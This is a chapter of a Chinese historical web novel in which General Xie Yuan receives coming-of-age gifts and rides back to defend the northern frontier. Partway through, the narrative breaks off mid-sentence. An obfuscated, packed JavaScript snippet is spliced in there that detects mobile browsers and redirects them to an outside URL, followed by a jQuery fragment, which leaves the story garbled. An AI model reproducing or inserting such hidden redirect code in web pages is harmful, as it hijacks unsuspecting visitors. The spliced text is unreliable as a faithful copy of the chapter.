48. 第48章 及笄

作品:《若个将军万户侯

    翌日。


    天刚擦亮,谢媛便醒了,她起身更衣洗漱,如往常一般正准备去打两套拳法时,忽然脚步一顿。


    桌案上不知何时多了一个檀木匣子。


    宿醉的感觉并不好受,她按了按眉心,走了过去,手指搭在匣边,侧身掀开匣盖一角。


    没有暗器飞出来。


    “谢将军!定北侯醒了!”


    谢媛欣喜转身,“啪嗒”一声,漆盒盖落下,她随手将檀木盒放在多宝阁上,急匆匆地去见谢青山。


    “圆圆,你来啦。”


    谢青山还很虚弱,但见到闺女,他觉得他还能起来一拳打死两头牛,眼角的褶子都皱成鱼尾形状。


    “让你担心了,是爹爹的不是。”谢青山认错极快,不等谢媛开口,就堵住了她的话,继续道,“将不可一日无主,圆圆现在是北境主帅,不宜离开太久。”


    “我已无大碍,怀王这别院安全得很,你,早些回去罢。”


    脸上的喜色瞬时褪去,逐渐蒙上一层冷寒,谢媛目光落在他心胸处的裹伤布上。


    “你要我和说的,只有这些吗?”谢媛扯了扯嘴角,道,“行,定北侯和本将军谈军务,那我们就来算算账。”


    “北境主帅虽易主,但你定北侯仍是北境将领,是我的部下,合该与本将军一起回瓜州。谢青山,我问你,你回不回?”


    谢青山沉默了。


    他张了张嘴,想要解释,但一时又不该从何说起。


    “回答不上来?我来替你答,你不敢回,也不会回。”


    谢媛转过身,语气里尽是不解与自嘲,她继续道:“稍后与怀王殿下道别后,我自会离去,用不着你来提醒。”


    顿了顿,她克制心中的委屈,将手中的包袱放在床榻前,语气极轻。


    “昨晚,我已祭拜过娘亲。这里是给你准备的香烛纸钱之物。我走了。”


    “圆圆!”


    谢青山心中涌上一抹酸涩,唤了一声,谢媛身形一顿,但她并没有转身,只是道了句。


    “爹爹,保重。圆圆已及笄,不是雏鸟了。我,能保护自己,不用你拼命。”


    说完,她加快脚步,没有瞧见谢青山眼底的落寞,以及一声轻叹。


    “纵然你已成人,但朝堂诡谲,江湖险恶,爹爹还是狠不下心。”


    他想到不久前佑安公公的警告。


    【定北侯若狠不下心,便先留在此地,莫要插手,乱了王爷的计划。】


    ……


    怀王的病情虽然凶险,但有凤无忧在,并无性命之忧。


    谢媛请辞时,他还未醒。


    佑安公公捧着一副长形蟠龙木盒,恭敬地笑道:“这是王爷前两日就给玉弧将军准备的及笄礼,祝将军福寿安康,战功彪炳,还望将军笑纳。”


    谢媛接过木盒,在佑安公公的眼神示意下打开,是秋水剑。


    兵器谱排名第三的长剑。


    “这太贵重了。”谢媛连忙推辞,一脸肃然。


    “王爷说,宝剑配英雄,才是它的归宿。玉弧将军,这剑于王爷也无用,王爷希望它能随将军杀敌饮血。”


    “既然如此,那便谢过殿下。”


    谢媛没有再推辞,她捧着秋水剑回房,目光落在多宝阁上的那个檀木漆盒上。


    “将军,生辰快乐。愿你一生所愿皆所得,百战百胜所向披靡,功垂不朽。”


    脑海中划过夜幕中孔明灯徐徐升起与月垂天的画面,盖过万千星辰,如绵延千里的京城安宁夜灯。


    据院子里的婢女说,昨晚是王子敬送她回来的。


    谢媛木着脸,不愿继续回想。


    堂堂大将军……


    手不受控制地自己打开了檀木匣,是一枚珊瑚色玉簪,里面还夹了一张纸条。


    【将军,喜乐无忧。】


    唇角不自觉弯起一抹弧度,谢媛将发簪插入冠冕之中。


    秋风飒飒,谢媛轻装简行,下山没多久,便遇见早已等候多时的王庭之。


    “将军,一起?”


    谢媛偏头看了他一眼,挑了挑眉,但笑不语,扬鞭策马。


    王庭之目光落在她头上那支珊瑚玉簪上,眼底笑意弥漫。


    “驾!”挥鞭策马,他紧随其后。


    身后青山在他们鼓荡的衣袖后越缩越小。


    渡过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455852|164960||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    运河抵达青板渡口,等候多时的骑兵急色匆匆迎了上来。


    “将军!探子来报,南蛮新王率领二十万大军,朝北境而来!”


    “加速行军,回营!”


    日夜兼程,路过兖州时,本来以为又得费点时间才能借道,但不知道是因为他们也得到了南蛮大举进攻的消息,还是出于别的什么目的,一路城门大开,畅通无阻。


    “将军,会不会有诈?”骑兵小队长拎着手中的包裹,看向谢媛。


    谢媛摇了摇头,道:“给我吧。”


    陈七还躺着,这包裹是王五送来的,和陈七不一样,王五脸上藏不住话。


    “是那个、反正你也知道了,就是他准备给你的生辰礼,他偷偷准备了好久。本来打算到时候送到瓜州城的,但是……反正就是这么个事儿,我们也不知道是什么,你自己看吧。”


    谢媛拆开包裹,里面是一本本册子,她随手打开一本翻开,只看了一眼她便一顿,倏地合上画册,不敢再多看一眼。


    “将军?”


    谢媛吸了一口气,道:“无碍,继续行军。”


    谢青山他什么时候学的画画,明明字写得比她还潦草……


    画册里是她,不止有她,还有娘亲,哥哥。那时,少年风华,春光正好。


    至兖州与瓜州交界处时,朝廷下达的剿匪文书也以八百里加急交到谢媛手中。


    “将军,这……”


    谢轻词骂了几句不带重复的北境脏话,道:“南蛮都快戳到屁/眼上来了,那些只会动口的老东西还只会盯着眼皮子下面的三亩地。”


    “兖州反了怎么了?人也是被逼的,一没兴兵扩张二没屠杀百姓。”


    “谢轻词,你闭嘴!祸从口出!”傅恒狠狠地瞪了谢轻词一眼,目光自王庭之身上掠过,提议道,“兖州这边,不如我去……”


    “不用!留两千兵力在这里就行,没有我的命令,不得贸然发兵。就由……”


    谢媛拍了拍谢轻词的肩膀,继续下令:“谢轻词,你与王文书守在这里。傅恒与我回军营,遣兵调将支援各哨卡。”


    慕容无忌那个疯子,八成是冲着她来的。